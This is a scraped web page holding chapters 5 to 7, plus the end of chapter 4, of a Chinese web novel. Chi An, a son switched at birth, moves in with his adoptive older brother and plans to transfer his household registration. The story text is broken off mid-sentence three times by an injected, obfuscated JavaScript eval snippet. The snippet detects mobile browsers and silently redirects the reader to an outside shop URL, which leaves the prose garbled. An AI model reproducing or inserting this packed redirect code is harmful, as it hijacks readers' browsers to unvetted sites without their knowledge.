拍拍左边的角,右边的就皱了起来,拍拍右边的,左边的又皱了起来,他少爷脾气上来了,不服的拽着对角往两边扯,结果布料又往上缩了缩。 傅闻修已经三两下的套好了被子和枕头,转身的时候看见池安还在把床单扯来扯去,忍不住又弯了弯唇角。 “笨。”他言简意赅的作出评价,从池安手中接过床上抖了抖,那软绵绵的布料像是突然就听话了似的好好盖在了床上,再一铺一捋,床单褶皱就消失的无影无踪。 池安看着他行云流水的利落动作,快速将床上那块光秃秃的床垫变成了蓬松柔软的漂亮小床,也没觉得自己没做好有什么大不了。 反正从小到大不管是生活上还是学习上,不管发生了什么都有哥哥帮自己解决所有麻烦。 傅闻修帮他铺好了床,又把箱子里蜷的发皱的几件衣服拿出来重新叠了一下,按照厚薄分类放好。 池安坐在沙发上,单手撑着脸,盯着哥哥为自己忙碌的高大背影,注视着他因为动作而微微绷紧的挺括衬衫下的肌肉线条,突然觉得心中那种因为家中的巨变,父母毫无征兆突然改变的态度而空落落的下坠感,似乎被稳稳的接住了。 “好了。”傅闻修将箱子又盖上,将箱子堆好,一起搬到了墙角,接着直起身整理了一下衬衫袖口,看向池安:“今晚先将就一下,这些行李和画具就这么放着,你自己先不要动。” 池安乖巧答应:“好。” “那就早点休息,我先回去了。”傅闻修抬手摸了摸他毛茸茸的发顶,动作温柔:“有事就给我发信息。” “知道了。”池安点了点头,从傅闻修的角度看来就像是他上下用脑袋蹭了蹭自己的掌心,他松开手,没再说什么,转身离开了客房。 房间里重新安静了下来,外面的雨还没停,此时转为了小雨,呼啸的夏风将窗外那排树吹得歪歪斜斜。 池安收回目光,将视线投回那张比自己原来的床明显小了的,但更加蓬松柔软,仿佛还带着哥哥身上清爽味道的小床,深深吸了口气,起身拿了换洗衣服,嘴角控制不住向上地走进了浴室。 * 第二天是周六,池安没定闹钟睡了个懒觉,醒来的时候已经是上午十点了。 他迷迷糊糊的盯着陌生的天花板发了会愣,意识到不是在学校,也不是在自己的那间卧室里,才清醒了过来,抱着怀里的被子懒洋洋翻了个身。 微信上除了和发小的那个三人群里多了好几个艾特,和哥哥发来的几条消息,还多了一个新的好友申请。 点开看了一眼,头像是一张真人转漫画的手绘图,申请人备注是傅嘉木,池安把那张图点开放大看了一眼,默默在心里吐槽了一句好土,忽略了这个申请。 他点开和傅闻修的聊天框,上回聊天还是昨天早上自己从宿舍出门的时候给他发的消息,傅闻修回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823963|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个“路上注意安全,到家告诉我。” 但回来之后发生的事情太多了,自己全给忘了。 最新的消息是今天早上七点多的: F:“今天公司还有事,我不在家。” “有事给我发消息。” 池安心情不错的回了个两只小熊手拉手跳舞的动图,打字:“醒了。” F:“好。” “【小熊手拉手跳舞.jpg】” 不安:“饿了。” F:“哦。” 不安:“/白眼” 屏幕顶上又蹦出来条小群的艾特,池安顺手点进去,翻了翻,都是问他今天晚上要不要出去玩的。 柏少:@不安崽,在就吱一声,哥哥们很担心泥。 路公子:一天没说话了,是不是受欺负了? 晚上我们接你出来玩?还是在暮色。@不安 柏少:嗯嗯!@不安 嗯嗯?@不安 想到今天哥哥不在家,自己又要一个人面对傅嘉木和父母一家三口其乐融融的场面,池安闭了闭眼睛,接着在群里打字: 不安:吱。 不用来接我,我打车过去。 路公子:行,七点等你。 刚回完消息,手机又震了一下,这次是一条外卖配送中的提醒短信。 【「云见山」您的订单已交给餐厅骑手配送,预计半小时后送达,请及时做好取餐准备……】 看见餐厅名字池安还愣了愣,这是智鸿附近一家很有名的中餐厅,自己实习的时候和前辈们一起吃过,味道很不错,后面在微信上和哥哥提过一嘴。 是巧合吗,还是哥哥一直记得…… 他下意识的点开和傅闻修的聊天框,刚点了个表情包过去,对面的消息就先一步发了过来。 F:“起来洗漱一下,外卖很快会到。” 池安捧着手机在床上打了个滚,哥哥现在点餐过来,自己中午甚至不用下去面对他们一起吃午饭了! 他笑眯眯的回了个小熊转圈的表情包: 不安:谢谢哥哥。 F:“嗯,别磨蹭,按时吃饭。” 放下手机,池安原本还想在床上磨磨蹭蹭再赖会儿,但想到哥哥刚才发的消息,索性掀开被子下床洗漱了。 外卖短信提醒还有五分钟送达,池安开门下楼,刚走到楼梯拐角,就听见了池盈温柔的笑声,参杂着几句傅嘉木说的什么话。 池安脚步顿了顿,旋即还是走了下去。 池盈和傅嘉木一起坐在沙发上,面前放着一些甜品和水果,电视开着,不知道在聊什么,两个人捧着几本旧相册,看起来心情都不错。 看见池安下楼,池盈笑着招呼他:“安安睡醒了?快来坐,嘉木把他之前在江省长大的照片带来了,我拿了你的一起看,你看你们俩,长得多可爱。” 傅嘉木也适时扬起笑容,声音温和:“池安哥,中午好呀。” 池安对他们点了点头算是打过了招呼,脚步却径直向门口走去,“我不看了,点的外卖快到了我去拿。” “对了,池安哥。”傅嘉木见他脚步不停,忽然出声喊他,语气带了点疑惑,和几分不仔细听察觉不出的委屈感:“妈妈给了我你的微信,我昨晚就加你了,但你怎么一直没同意呀?” 5. 第五章 池盈闻言,脸上的笑容淡了下去,看向池安时的目光明显带了几分不赞同,但语气依旧温柔:“安安,怎么回事?嘉木主动加你微信你怎么还不理呢?快,现在就把他加上,以后我们都是一家人了,你怎么能这么没礼貌?” 池安的脚步挺住,背对着他们,眉头蹙起,被架起来的感觉让他心里生出几分厌烦,他才不想加,一点都不想。 但池盈的话已经说到这种程度了,自己要是现在还不同意,估计又要被说教一顿,说他不懂事又小气。 他抿了抿唇,转身拿出手机,语气没什么波澜:“哦,我没注意看手机。”说着,他点开微信,找到那个早上被自己刻意忽略的好友申请,点完通过,晃了晃手机:“加上了。” 池盈这才露出笑容:“这才是好孩子嘛,你们现在的关系就等于是亲兄弟了,以后也要多亲近亲近,你们同龄人应该都有很多话题的……” 傅嘉木也露出了一个腼腆的,表情似乎带有讨好意味的笑容,举起手机:“是加上了,谢谢池安哥。” 池安没再多说什么,点点头转身走向大门,穿着印有餐厅名称字样的外卖员刚好停在门口。 外面还飘着小雨,被初夏的小风一吹,穿着短袖短裤还有点冷,池安被迎面的风吹得蒙了一脸的细雨,小跑到门口,拿到外卖盒道完谢后迅速小跑进了屋。 跟池盈说了声中午不下楼吃饭,他便头也不回的上了二楼。 外卖盒沉甸甸的,加上自己小跑出去又跑回来,还爬了两层楼,池安先是眼冒金星的瘫在沙发里喘了会气,觉得没那么晕了后才起身准备吃饭。 莲藕炒猪颈肉,番茄烩虾球,口蘑白菜,色泽鲜艳,摆盘精致,香味丝丝缕缕的飘在不大的客房里,还冒着滚烫的热气。 前两道菜也是之前自己提过的,确定哥哥是特意点了这家餐厅,池安心情不错的拿出手机拍了张照发给傅闻修,拿起了筷子。 昨天一天只吃了晚上那顿甜腻腻的江省菜,食不知味的,这会儿食欲格外不错,吃了两大碗饭。 将桌上东西收拾干净,今天便没打算再下楼。下周就是论文答辩了,自己还有很多事情要忙,索性窝在床上抱着平板改论文了。 偶尔遇到卡顿的地方或者累了的时候,就拿起手机给傅闻修发几个没什么意义的表情包,偶尔抱怨一声“论文好难/落泪”,或者对着窗外拍一张仍然灰蒙蒙的天空发过去。 傅闻修似乎一直在忙,回复并不及时,但每次回复的时候都一条一条引用过去认真回应,或者对池安那些奇奇怪怪不知道从哪里来的表情包回复一个“?”或者“。”,都能让池安生出一种奇异的安心感。 窗外的天色渐渐暗了下来,池安看了眼时间,和发小们约的时间还有半小时,起来换了件长袖的深蓝色连帽卫衣,套了条宽松的水洗牛仔裤就下楼了。 晚饭结束后家里很安静,出门的路上没遇到任何人,这让他莫名松了口气。 “暮色”是家会员制的清吧,灯光柔和音乐舒缓,平常来的人不少,大多都是圈里他们这个年龄层的年轻富二代们。 池安到的时候柏以和路信鸥已经在了,两人面对面知道在聊什么。 “安仔,这里!”柏以眼尖的看到他,哗的一下从卡座上站起来冲他挥手,身上那件黑色衬衫胸口上的骚包亮片在灯光下极其惹眼,像一只花枝招展的孔雀。 池安也挥了挥手,走过去在孔雀身边坐下,路信鸥没说话,只是将一杯色泽漂亮的鸡尾酒推到他面前。 透明的杯壁上凝结了一层白色的水雾,橘红色的酒液上漂浮着两片翠绿的薄荷叶:“给你点的。” 池安看着这杯酒犹豫了一下,在学校的时候自己和他们出去都会喝一点儿酒,但现在是在家,以前有过喝多了酒胃疼了半夜没睡着的前科,所以哥哥一向不赞成自己独自喝酒。 但想着一杯低度数酒大概也看不出来,他伸手接过。 “怎么啦我们崽?”柏以笑嘻嘻的凑过来,毫不客气的揉了一把池安的脑袋,把他本来只是简单打理了一下的头发揉的乱糟糟的:“我宝宝是不是受委屈了?那个傅什么来着,亲儿子虐待你了吗?” “去你丫的,谁是你宝宝?”池安用手肘戳了他一下,拍开他的手,对着手机屏幕整理头发:“没人虐待我。” “真的啊?”柏以疑惑的看他:“不是让你搬出来睡客房了吗?这还不算虐待?” 池安的动作顿了顿,他放下手握住酒杯,水雾凝结成冰凉的水珠,从杯口滑落,滴在他纤长白皙的指节上:“……不算吧,那房子本来就应该是他的……我占用了这么多年,要不是我抢了他的人生,他才应该是锦衣玉食娇生惯养的傅家小少爷,现在他回来,我该还给他了。” 这些话在他心头萦绕了两天,即便如此,现在亲口说出来还是显得格外艰难。 “安仔,你不能这么想。”路信欧看着他垂下的眼睫,皱着眉头,不赞成的沉声道:“他是无辜,但也没有人有资格怪你,尤其是你的父母。” “这件事里错的是当年医院不仔细,他们做父母的也有疏漏,你现在该考虑的是你自己的未来,而不是用别人的错误折磨自己,这件事不该让你买单。” 柏以点头:“对啊,别钻牛角尖了,你当时一个刚出生的婴儿知道啥呀?抱错孩子又不是你愿意的,难道还是你策划的?你也是受害者啊,他们家养了你20年,突然带回来一个孩子,说他才是亲生孩子,最受伤的难道不是你吗?上来就给你下马威,我看那个真少爷也不是啥好东西。” 他们说的这些道理自己又何尝不懂,只是每一回看到傅嘉木不经意流露出来的自卑或是挑衅的目光,父母急于补偿他时对自己施加的委屈和无视,他很难不产生强烈的负罪感和愧疚感。 “知道了知道了。”池安抿了口酒,露出一个若无其事的笑容:“两位少爷教训的是,我随便感慨一下而已。” “别想太多,反正过完周末你就回学校了,先把毕业的事儿弄完再考虑其他的,你们院和我们都是同一天拍毕业照吧,到时候结束了一起去吃饭啊……” 柏以拿起酒杯和他轻轻碰了一下:“毕业以后打算干啥?之前你实习成绩不是不错吗?要不然来我家公司?给你整个小领导当当。” 池安懒洋洋的掀了下眼皮:“我学外语的,去美妆公司当吉祥物吗?” “又不是不行,你这张小脸用上我家的产品那就是活招牌啊,诶说实话,你有没有考虑过进军娱乐圈,当模特也成啊……” 池安翻了个白眼。 “别乱扯了,你论文写完了没。”路信鸥拍了下柏以的脑袋,被拍的人立刻蔫蔫巴巴的缩回了卡座,愤愤道:“不要在这么开心的时候提这么恐怖的话题。” “还有更恐怖的,”池安叉了块西瓜:“还有四天你就要答辩了。” “说得很好。”柏以高声喊道:“再说我就揍你了!” 放在桌上的手机屏幕亮了一下,池安点开。 F:“去哪了?” 不安:“跟朋友在酒吧玩。” 对面秒回:“定位发我。” “起风了,我去接你。” “谁啊?笑的这么荡漾。”柏以眯着眼睛盯他。 路信鸥慢悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823964|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠开口:“你哥?” “嗯。”池安熟练把定位发过去后就关了手机,抬眼时神色有几分讶异:“你怎么知道?” “到点了,哪次你在家和我们出来玩,你哥都差不多是这个点接你回去。”路信鸥语气如常的解释道:“不过时间也不早了,咱们确实该散了。” 柏以摇头晃脑:“啧啧,我们安仔这么大的人了,出来玩还要人接送,真是个守规矩的乖宝宝。” 池安捏了块柠檬往他嘴里塞,被柏以吱哇乱叫着躲开了。 哥哥来的很快,发完定位后不到二十分钟就收到了他在门口的消息。 池安和两个发小打了声招呼便先起身离开了酒吧,夜幕沉沉,迎面而来的冷风吹乱了他额前的碎发,池安裹紧身上的卫衣,一眼便看见前方路口处停着的那辆熟悉的黑色保时捷。 他小跑着过去,熟练的打开车门坐进副驾驶。 傅闻修坐在驾驶位上,车内略显昏暗的灯光照在他轮廓分明的侧脸上。 从池安从酒吧出来的那一刻起,他的目光就一直停留在他身上,从青年清瘦的身板,身上衣服被裹紧时漂亮的肩胛骨线条,被风吹的有些凌乱的黑发,最后落在了他被酒气熏的微微泛红的脸颊上。 “喝酒了?”他声音平稳,将空调调的高了一些。 傅闻修用的是肯定的陈述句,池安系安全带的动作顿了一下,想到哥哥之前的叮嘱,有些心虚的小声说:“喝了一点点度数很低的果酒。” 他并不想让哥哥觉得自己不听他的话,又赶紧补充,带着点讨好的意味:“我没喝多,喝之前吃了晚饭的,柏以和路信鸥都在,没有陌生人。” 他小心翼翼的观察着傅闻修的神色,试图在哥哥脸上看到一丝不赞同,他甚至隐隐期待哥哥会像以前那样,神色中带着几分严肃的责备。 那种被管束,被在意着的感觉,会让他清晰的意识到自己是被哥哥用心在意着的。尤其是在现在这种几乎无依无靠的处境中,来自哥哥的在意和关注,是他此时安全感的唯一来源。 傅闻修只淡淡的“嗯”了一声,熟练的启动车子:“偶尔放松一下也没什么。” 想象中的画面并没有出现,池安悄悄松了口气,但同时,心里又不知从何而来一股空落落的失望感。 车辆行驶在空旷昏暗的街道上,不远处的人工湖面被夜风吹出阵阵深黑的涟漪,池安身体放松,向后靠在座位里,轻轻叹了口气。 未来会怎么样呢?自己现在这样尴尬的处境和身份,迟早是要和傅家做出切割的,他早就已经不是那个可以理所当然享受一切,独占哥哥的傅家小少爷了,可…… “玩的不开心吗?”傅闻修忽然开口,他目视前方,语气听起来很随意,却精准捕捉到了池安细微的动静。 池安怔了一下,下意识摇摇头,侧过脑袋看向他,犹豫:“嗯……就是突然觉得我,很多余。” “哥。”他声音更低了点,嗓音里有着化不开的迷茫:“我不知道以后该怎么办了。” “房间不是我的,家不是我的,爸爸妈妈也不是我的,哥哥你……” 最后一句话他没有说完,只是抿紧了唇,有些懊恼的垂下眼。 他本来不想说的,但不知道为什么,只要是在傅闻修面前,自己的那些委屈,那些酸涩的情绪,就怎么都捂不住的想要一股脑的倾诉出来。 车身停在亮起红灯的十字路口前,傅闻修转过头,镜片后的沉静目光落在池安低垂时显得柔顺而发顶上。 “安安。” 池安下意识抬头:“嗯?” “要不要搬出来住?” 6. 第六章 池安愣住了,他微微睁大眼睛看着傅闻修,似乎没反应过来这句话的意思。 搬出去住? 这个念头,在知道父母口中的真相后,在搬出房间,挤进那个狭小阴暗的客房时曾经无数次的在脑海中出现过。 带着委屈的,压抑的,赌气性质的想法,但很快就被更深的不安和顾虑压了下去。 搬出去意味着什么?意味着自己会彻底离开这个从小生活了二十年的地方,意味着他不再是傅闻修名正言顺的弟弟,更意味着他大概不再有资格受到哥哥的任何关注和庇护。 傅家很大,但哥哥工作忙碌,一年之中也很少有机会回来常住。如果自己搬出去了,自己还能有机会轻易见到他吗? 更何况现在他有血缘关系的真弟弟回来了,那自己这个“冒牌货”,是不是就真的要和他成为渐行渐远的陌生人了? 他不要这样。 他贪恋哥哥带给自己的一切,那份独一无二的维护和关注,如果连这最后一点联系都要被斩断,他宁愿自己往后继续住在那间狭小的客房里。 “搬出去吗,我……”池安神色有几分犹豫,他双手紧紧握住身上的安全带,试探性的问道:“搬到哪里?” 傅闻修自然也注意到了他眼中的不安和依赖,目光柔和了不少,绿灯亮起,他重新启动车子,开口:“我在公司附近有套公寓,你上半年实习住过一次,离你学校不远,记得吗?” 他当然记得,刚进公司实习的头两个月,部门的工作量巨大,琐碎的事情又多让实习生去做,那阵子他几乎天天加班。 有一次下班已经是凌晨,初春的夜风吹得他瑟瑟发抖,手机上怎么也打不到车,他蹲在街边觉得自己简直是全天下最惨的人,接着满腹委屈的给傅闻修打了个电话。 没多久哥哥的车就停在了面前,把眼眶通红的他接回了那间公寓。 “那我……”池安垂着眼犹豫了一下,不知道傅闻修是什么意思,是出于好心给自己提供一个住处吗,他索性抬头,一鼓作气的问:“我住了那你呢,你要住家里吗?” 他尽量让自己的语气显得正常点,内心却生怕听到什么不想听的肯定答案,或者更糟,比如傅闻修说,“嗯,房子给你准备的,我以后会住在家里”之类的话。 傅闻修从车内的后视镜里将身边人的反应看的一清二楚,他眼里闪过一丝淡淡的笑意,面上却不动声色:“那是我的房子,我当然也住在那里。” 和哥哥一起住! 原本心底那些飘忽的,不确定的恐慌感和失落感,在傅闻修轻飘飘的一句话中消失的无影无踪。 池安有些紧绷的身体瞬间松懈下来,一双乌黑的眼珠子此刻亮晶晶的:“真的?你的意思是我搬去和你一起住?哥,咱俩要同居啊?” 似乎是被池安的反应逗笑了,傅闻修微微侧头瞥了他一眼,复述道:“嗯,要同居了。” “你愿意的话。” 本来从自己嘴里说出来很正常的话,到了哥哥这里怎么咂摸着都有点怪呢? 池安因为他复述的那句“同居”而微微有些脸红,但此刻也来不及害羞,忙不迭的点点头:“好啊,我愿意。” 说完这句话,他身体放松的向柔软的靠背上缩过去,转头望向窗外黑沉沉的夜景,指尖搭在腿上轻轻敲打着,满脑子都是刚刚哥哥说的那句要同居了。 身体舒舒服服的倚在副驾驶,池安眼眸弯起,对着车窗露出一排小白牙。 * 回到家时已经是深夜了,门口走廊亮着几盏灯,昏黄的光晕勾勒出别墅小半的轮廓。 池安跟在傅闻修身边走进玄关,客厅的灯还亮着,池盈裹了张小羊绒的披肩坐在沙发上看电视,听见动静,她转身看向门口:“回来了,今天晚上风大,冷不冷?” “不冷,车里有空调。”池安换着鞋抬头回答,他有点儿惊讶,池盈平常的作息很规律,这个点一般早都睡了,难道是知道自己出门了,特意在等自己? 冒出来的这个念头让池安心里软了几分,语气也不由得乖巧亲昵起来:“妈,你怎么还没睡?” “哦,这不是给你们留灯吗,看着电视就忘了时间。” 池盈的目光落在池安身上,语气是一贯的慈爱:“安安今天玩的开心吗?下回要是出去玩晚了,记得提前说一声让司机去接你,你哥哥平常公司事情多,工作那么辛苦,不要总麻烦他了。” 池安脸上的笑容僵了一瞬,原本以为母亲在等自己的那些欣喜瞬间转为了沉下去的心情,他又不傻,池盈话中若有似无的敲打和责备他听的一清二楚。 他抿抿唇,垂着眼眸低声答应:“知道了,下次不会了。” 傅闻修在门口搭好外套走了进来,站在池安身边:“不辛苦,刚好顺路。” “安安年纪小,我多照顾他也是应该的,他很乖,不会让我操心。” 简单两句就把池盈接下来的话堵了回去,她裹紧披肩笑了笑,不再继续这个话题:“那就好,你们兄弟俩感情好也是好事,妈妈不瞎操心了,都这么晚了,快回房洗漱休息吧。” “嗯,妈你也早点休息。”池安点了点头,心里那点细微被池盈的话刺到的感觉因为哥哥的维护而缓和不少。 “安安,上楼。”傅闻修拍了拍他的肩,池安就自然的抬脚跟了上去。 踏上台阶时,他忍不住回头看了一眼。 池盈还坐在沙发上,暖黄的灯光笼罩着她,她正低头收拾着沙发上的抱枕,侧影依旧是他记忆里那个温柔的母亲模样。 沉默着上了二楼,池安停下脚步。 “哥,晚安。”他小声说。 “晚安。”傅闻修嗓音温和,他转身面对着池安,看见他垂头丧气的模样,像是想到什么,又含笑补充了一句:“别熬夜,晚点我会抽查你的游戏在线时间。” 池安愣了一下,原本上楼时还蔫巴巴的表情瞬间化为了震惊,他瞪大眼睛:“我都要大学毕业了你还用这招管我!哥,你换点新的吧!” 高中,哥哥给自己买了手机,那时候身边的富二代同学人人都有,池安眼馋了好久,拿到手之后就撒了欢的玩,每天没日没夜的混迹在各种抽卡和对战游戏里。 正是新鲜劲上头,那段时间他晚上熬夜打游戏,白天睡不醒,上课也时不时的打瞌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823965|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡,整个人肉眼可见的疲惫了不少,成绩也一落千丈。 他在学校的家长信箱绑定的是哥哥的邮箱和手机号,所以傅闻修在收到他连着两个月急剧下滑的周考和月考成绩后,抽空回了趟家。 哥哥拿手机检查之前先平静的和他谈了会话,但池安自作聪明的提前把游戏全藏在了隐藏文件夹,所以支支吾吾的不想承认。 结果道高一尺魔高一丈,傅闻修没再多说,直接查了他的每日各个软件的使用时长,甚至拉了张表出来让自己对着解释。 人赃并获,他自然解释不出来。 然后他就羞愤的知道了,原来哥哥的力气比自己大那么多。 可以轻而易举的把自己压制住,把自己的双腿夹在他两腿之间,还能抽出手按着自己的后腰,导致每一巴掌都精准的落在自己娇贵的屁/股上。 疼倒不算特别疼,但高中正是好面子的年纪,被哥哥管教过那一次之后,那种羞耻感和被掌控的感觉,让池安连着半个月没主动给他发过消息,也没再进过那间书房。 不是不敢,就是总觉得别扭,一进去就觉得屁股发烫。 后面还是傅闻修主动回家住了几天,每天主动找他,不动声色的哄了段时间,好歹是勉强修复了青春期池少爷的自尊心。 “招不在新,有用就行。”傅闻修看见面前人脸色慢慢泛红,一双乌黑澄澈的漂亮眼珠子乱转,显然是在回忆什么,有些好笑的出声打断他:“安安,在想什么?” 池安下意识的抬头,对上了傅闻修挑眉的表情,他强作镇定的轻咳了一声,语速飞快:“嗯没,没,就是突然走神了。” “那个哥,我好困,先回去睡觉了,你也早点睡。” 他一口气说完就转身往客房的位置走,快步走到门口,进去之前还是忍不住看了一眼傅闻修的方向,看见他对自己点了点头,池安迅速打开门进了房间。 开了灯,池安长长松了口气,他先是在房里无意识的快步转了一圈,接着将自己扑进了那张柔软的小床上。 质量一半的木板床因为他的动作发出“吱呀”一声,池安抱着被褥,忍不住把发烫的脸埋进去蹭了蹭。 他也不知道自己在热血沸腾个什么劲,可能是因为刚才哥哥的那句“会检查你的游戏在线时间”让他想到了多年前的往事,又或者是因为在车里的时候,哥哥主动对自己提出的同居邀请。 池安再次深吸了一口气,抱着被子在床上翻了个身,仰躺在床上,盯了会儿天花板上那根明亮的莹白灯管,那种难以言喻的,混杂着羞赧与隐秘兴奋的劲儿才过去了不少。 他拿上换洗衣服去浴室洗了个澡,微烫的水流温暖的漫过身体,不到五平的窄小空间很快充斥起了蒸腾而升的白色水雾。 而一个在心里时不时浮现了两天的念头,就在这样朦胧模糊的空间里,挣脱了所有顾虑和担忧,在脑海中越发清晰的浮现了出来。 裹着浴巾出来,乌黑的发梢还带着水汽,池安爬上床,将自己裹进柔软的被子,拿起手机,点开和傅闻修的聊天框,没怎么犹豫的敲了行字,将消息发了过去。 不安:“哥,睡了吗?” 7. 第七章 发完消息,池安默默的把自己缩进被窝里,屏幕在黑暗中幽幽的亮着光,映着他紧张又有些期待的脸。 手机震了一下。 F:“还没,有事?” 池安翻了个身,指尖在键盘上敲敲打打的措着词:“既然要搬出去,我想着连户口一起迁出去好了。” “我查过了,我亲生父母不在,是可以自己单独立户的。” 这次对面没有秒回,屏幕上的“对方正在输入中……”持续时间长了点。 这不是一时冲动之下的决定,他也不确定自己这样做是不是对的,但迟早要迈出这一步的话,不如趁现在一鼓作气,毕竟长痛不如短痛。 F:“考虑清楚了?” 没有质疑,没有否定,也没有说他不懂事,只是平静的确认自己的决定。 池安心里有了底,他快速打字:“考虑清楚了,我不想再不明不白的占着个家里的位置了。” F:“好,我会和他们说。” 不安:“不用,明天我自己说。” F:“确定?” 闷的有点难受,池安掀开被子从床上坐起,双手捧着手机打字:“嗯!” “这种事,总要我自己面对的。” F:“【摸摸头.jpg】” F:“【小企鹅加油.jpg】” 心中的紧张感被这两个可爱的小表情给冲淡了些,哥哥的表情包都是从自己这里拿的,不知道他都存了哪些,和他聊天的时候时不时就会蹦出来一个。 不安:“【高雅人士视察.jpg】” F:“不早了,放下手机睡觉。/敲打” 不安:“嗯嗯,哥晚安~【小猫蹭蹭.jpg】” F:“晚安。” 结束对话,因为刚刚做的决定,池安现在脑子里还处于紧张和兴奋的状态,他放下手机,在黑暗中睁着眼睛。 窗外的风还是没停,卷起树叶和枝桠噼啪的敲在玻璃上,倒像是某种不规则的律动。 明天自己就会离开傅家,搬去哥哥的公寓和他朝夕相处,会和哥哥在一起住多久呢?自己已经不是他血缘关系上的弟弟了,以后还是以名义上的兄弟身份相处吗? 如果可以…… 他闭上眼,强压着按下心里那一丝不该出现的,悄然滋生的悸动。 * 第二天池安起的比以往都要早,也是因为心里装着事,闹钟响了睁眼以后就再也睡不着了。想着今天要搬家,他就换了套轻便的无袖白T和短裤。 下楼的时候所有人都在,池安讶异的看了一眼傅闻修,平常工作日这个点哥哥应该早就已经到公司了。 他走到傅闻修身边坐下,面前就被端上了一碗热腾腾的鸡丝虾仁粥,池盈好像很惊讶的喊了他一声:“安安,今天起的挺早啊,怎么没多赖一会儿?” “醒了,就没继续睡。”池安如实回答,拿起调羹搅了搅粥,犹豫了一下,看向傅闻修,又很快别过眼神。 有点紧张。 池盈了然的点了点头:“哦,今天周一,你是不是要返校了?要准备下周的毕业典礼了吧。” “嗯,差不多吧。”碗里的粥被搅来搅去,池安心不在焉的回答完,终于开口:“妈,爸,想和你们商量件事。” 傅乔夹着油条看了他一眼:“什么事?” “我打算搬出去住。”他说完,又补充了一句:“就不回来了,刚好下周毕业,以后住在外面也方便。” 餐厅里安静了一瞬,池盈最先反应过来,她脸色惊讶,声音都下意识的抬高了:“搬出去?安安,不回来了什么意思?怎么这么突然?” 池安张了张嘴,还没来得及解释,她语气急切的又快速道:“你从小身体就娇贵,免疫力又差,在家里还好些,自己一个人到了外面怎么可能照顾得好自己?家里有爸爸妈妈还有阿姨照顾着你,什么都方便。怎么突然想出去了,那不是自己找罪受吗?” 傅乔冷冷扫了他一眼:“又突然闹什么脾气,住个客房给你委屈的没完没了了?” 毕竟从小到大一起生活了这么多年,他们的反应和自己的猜测差不多。 池安抿抿唇,将准备好的理由说出来:“我没闹脾气,毕业之后就要工作了,我想独立一点,不用什么都靠着家里。” “你搬出去的话,还要自己看房子租房子,你哪会这些呀,爸爸妈妈也没空陪你,你哥他更是忙,哪有时间管这些?” 池盈继续劝阻:“安安,妈妈理解你的心情,但也不用这么着急就搬出去对不对?是不是嘉木回来了你心里不舒服?妈妈不是跟你说过吗,你永远都是我们的孩子……” 池安只是摇摇头:“不是因为这些,哥哥说他有一套空着的公寓,离我们学校不远,我可以先住那里,也不用租房。” “嗯,那套公寓很安全,装修也不错,安安住那里没什么问题。”傅闻修自然的接过他的话开口:“年轻人想独立是好事,锻炼一下对他有好处,住在我那里我会看着他。” 轻描淡写的两句话,就把池安的行为从父母口中的任性耍脾气转变成了正面向上的寻求独立。 傅乔和池盈哑口无言,两人对视了一眼,池盈眼神复杂的叹了口气:“既然你哥哥也这么说了,那我们也就不反对了,自己一个人在外面好好的,尽量少给你哥哥添麻烦。” 搬出去这件事就这么定了下来,池安没怎么停顿,继续道:“还有一件事。” “既然搬出去了,我想把户口也迁走,以后自己单独立户。” “你说什么?!”傅乔猛的提高了音量,表情带着难以置信的震惊和怒意,他重重拍了下桌子,声色俱厉:“你再说一遍!” 池盈更是愣住了,连带着傅嘉木脸上都带着掩饰不住的惊讶。 他要主动迁出傅家的户口? 先不说池安远在江省的亲生父母早就因为工厂的意外和身体原因去世了,现在脱离出去只能成为一个无依无靠的孤儿,虽然傅家在京城算不上什么顶级豪门,但身在屋檐下,好歹能受到一点经济和社交上的庇护。 怔了片刻,察觉到自己表情失态,傅嘉木迅速垂下了眼。 如果不是池安故意要以此来威胁父母得到什么的话,那就是他太蠢,从小娇生惯养没受过什么社会风霜的小少爷,把独立和证明自我看得比天大。 傅嘉木在心里轻嗤一声,讥讽的想。 愚蠢的让人发笑。 “我要迁走户口,单独立户。”父亲的怒火还是让池安有些发怵,但他面上不显,只是平静的又重复了一遍。 “池安!”傅乔面色铁青,胸口剧烈起伏着声音因为巨大的愤怒而显得有几分颤抖:“你知道你自己在说什么吗?迁户口,你要迁到哪里去?啊?!” 他的手搭在餐桌上,食指用力的连续敲着桌面,发出持续的笃笃声:“我们养了你二十年!二十年!是少了你吃还是少了你穿?!就因为嘉木回来了,你就要跟我们划清界限,一刀两断,你还有没有良心?你眼里还有没有我和你妈?” 傅嘉木回到傅家这件事在圈子里算不得什么秘密,大多数人都心照不宣,在这个节骨眼上池安要搬出去,还要单独立户,传出去像什么样子? 